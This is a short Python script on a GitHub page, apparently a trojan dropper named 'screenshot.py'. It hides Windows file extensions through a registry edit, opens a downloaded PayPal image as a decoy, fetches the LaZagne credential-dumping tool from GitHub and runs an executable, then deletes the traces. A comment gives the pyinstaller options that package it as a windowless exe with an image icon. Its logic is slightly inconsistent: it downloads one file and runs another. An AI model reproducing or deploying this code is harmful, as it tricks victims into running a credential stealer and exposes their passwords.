-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathscreenshot.py
More file actions
37 lines (24 loc) · 1.12 KB
/
screenshot.py
File metadata and controls
37 lines (24 loc) · 1.12 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import requests
import subprocess
import os
import tempfile
import shutil
subprocess.call("reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v HideFileExt /t REG_DWORD /d 1 /f")
def Download(url):
GetResponse = requests.get(url)
filename = url.split("/") [-1]
with open(filename, "wb") as out_file:
out_file.write(GetResponse.content)
print(GetResponse)
temp_directory = tempfile.gettempdir()
os.chdir(temp_directory)
paypalSS = "https://howto.org/wp-content/uploads/2019/02/How-to-Get-PayPal-Money-Instantly-4.jpg"
Download(paypalSS)
result = subprocess.Popen("How-to-Get-PayPal-Money-Instantly-4.jpg", shell=True);
Download("http://github.com//AlessandroZ/LaZagne/releases/download/2.4.3/lazagne.exe")
result = subprocess.call("Download.exe", shell=True);
print(result)
os.remove("lazagne.exe")
os.remove("Download.exe")
# pyinstaller --add-data "C:\Users\Justin Avina\Dropbox\PC\Downloads\paypalSS.png;." --noconsole --onefile --upx-dir=\upx --icon png.ico Download.py
# reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v HideFileExt /t REG_DWORD /d 1 /f